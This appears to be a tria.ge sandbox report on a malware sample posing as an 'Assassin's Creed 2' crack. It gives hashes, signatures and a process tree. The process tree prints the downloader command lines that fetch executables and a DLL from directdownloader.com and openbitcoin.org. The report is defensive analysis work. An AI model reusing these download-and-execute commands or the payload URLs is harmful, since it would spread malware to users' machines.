Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
167s -
max time network
178s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
25/12/2023, 04:25
Static task
static1
Behavioral task
behavioral1
Sample
0507d7fe7dad30c1188318e78cd85cf3.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
0507d7fe7dad30c1188318e78cd85cf3.exe
Resource
win10v2004-20231215-en
General
-
Target
0507d7fe7dad30c1188318e78cd85cf3.exe
-
Size
511KB
-
MD5
0507d7fe7dad30c1188318e78cd85cf3
-
SHA1
5a19fb12b50f9a8294568faf41233a1fdc3130a7
-
SHA256
36c8c85ee180d118882a45d16a5116155e0ad9f8181c5112aa40bd7045df3a92
-
SHA512
036c8eb9a92b4eb8bcad6cd2bef175de1c2990ba686801d75a5f9cf35f7971ac01c8a82683c0cc2687fb64a3e47ec26d4c45bada1093bd70da2780cd96baae1f
-
SSDEEP
12288:4B38O6peEUBwXVwM9vylzdYvH7Aw5XoR0g46:4BsO8XVNCiH7j4RH
Malware Config
Signatures
-
Executes dropped EXE 6 IoCs
pid Process 856 downloaderSTUB.exe 1272 downloaderSTUB.exe 756 downloaderSTUB.exe 1080 downloaderDDLR.exe 2052 downloaderOFFER0.exe 2904 preinstaller.exe -
Loads dropped DLL 25 IoCs
pid Process 856 downloaderSTUB.exe 1272 downloaderSTUB.exe 1080 downloaderDDLR.exe 2052 downloaderOFFER0.exe 756 downloaderSTUB.exe 1080 downloaderDDLR.exe 856 downloaderSTUB.exe 756 downloaderSTUB.exe 2052 downloaderOFFER0.exe 1272 downloaderSTUB.exe 856 downloaderSTUB.exe 1080 downloaderDDLR.exe 756 downloaderSTUB.exe 2052 downloaderOFFER0.exe 1272 downloaderSTUB.exe 856 downloaderSTUB.exe 1080 downloaderDDLR.exe 2052 downloaderOFFER0.exe 756 downloaderSTUB.exe 1272 downloaderSTUB.exe 1080 downloaderDDLR.exe 856 downloaderSTUB.exe 756 downloaderSTUB.exe 1272 downloaderSTUB.exe 2052 downloaderOFFER0.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 2 IoCs
resource yara_rule behavioral2/files/0x0006000000023218-11.dat nsis_installer_1 behavioral2/files/0x0006000000023218-11.dat nsis_installer_2 -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 412 wrote to memory of 856 412 0507d7fe7dad30c1188318e78cd85cf3.exe 94 PID 412 wrote to memory of 856 412 0507d7fe7dad30c1188318e78cd85cf3.exe 94 PID 412 wrote to memory of 856 412 0507d7fe7dad30c1188318e78cd85cf3.exe 94 PID 412 wrote to memory of 1272 412 0507d7fe7dad30c1188318e78cd85cf3.exe 93 PID 412 wrote to memory of 1272 412 0507d7fe7dad30c1188318e78cd85cf3.exe 93 PID 412 wrote to memory of 1272 412 0507d7fe7dad30c1188318e78cd85cf3.exe 93 PID 412 wrote to memory of 756 412 0507d7fe7dad30c1188318e78cd85cf3.exe 92 PID 412 wrote to memory of 756 412 0507d7fe7dad30c1188318e78cd85cf3.exe 92 PID 412 wrote to memory of 756 412 0507d7fe7dad30c1188318e78cd85cf3.exe 92 PID 412 wrote to memory of 1080 412 0507d7fe7dad30c1188318e78cd85cf3.exe 91 PID 412 wrote to memory of 1080 412 0507d7fe7dad30c1188318e78cd85cf3.exe 91 PID 412 wrote to memory of 1080 412 0507d7fe7dad30c1188318e78cd85cf3.exe 91 PID 412 wrote to memory of 2052 412 0507d7fe7dad30c1188318e78cd85cf3.exe 90 PID 412 wrote to memory of 2052 412 0507d7fe7dad30c1188318e78cd85cf3.exe 90 PID 412 wrote to memory of 2052 412 0507d7fe7dad30c1188318e78cd85cf3.exe 90 PID 412 wrote to memory of 2904 412 0507d7fe7dad30c1188318e78cd85cf3.exe 89 PID 412 wrote to memory of 2904 412 0507d7fe7dad30c1188318e78cd85cf3.exe 89 PID 412 wrote to memory of 2904 412 0507d7fe7dad30c1188318e78cd85cf3.exe 89
Processes
-
C:\Users\Admin\AppData\Local\Temp\0507d7fe7dad30c1188318e78cd85cf3.exe"C:\Users\Admin\AppData\Local\Temp\0507d7fe7dad30c1188318e78cd85cf3.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:412 -
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\preinstaller.exeC:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\preinstaller.exe 0 "3dassassins creed 2 crack [skidrow] update patch v1.01 save ga" "Download"2⤵
- Executes dropped EXE
PID:2904
-
-
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderOFFER0.exeC:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\optimizer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2052
-
-
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderDDLR.exeC:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\DirectDownloaderInstaller.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1080
-
-
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exeC:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\updater.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:756
-
-
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exeC:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\OpenCL.dll"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1272
-
-
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exeC:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\stub.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:856
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
58KB
MD5c7f6ed56312c8fbb58ae6ed445c38df4
SHA1e2dba94ef052db774478b9f7198c1a2298b334e5
SHA256fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24
SHA512ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43
-
Filesize
213KB
MD506baef00ae0f0e42fc5fea24fc4eac42
SHA19161574590f09cfe4c24498827386ed57f2e8c58
SHA25619460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8
SHA51229431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486
-
Filesize
14KB
MD5a5f8399a743ab7f9c88c645c35b1ebb5
SHA1168f3c158913b0367bf79fa413357fbe97018191
SHA256dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9
SHA512824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977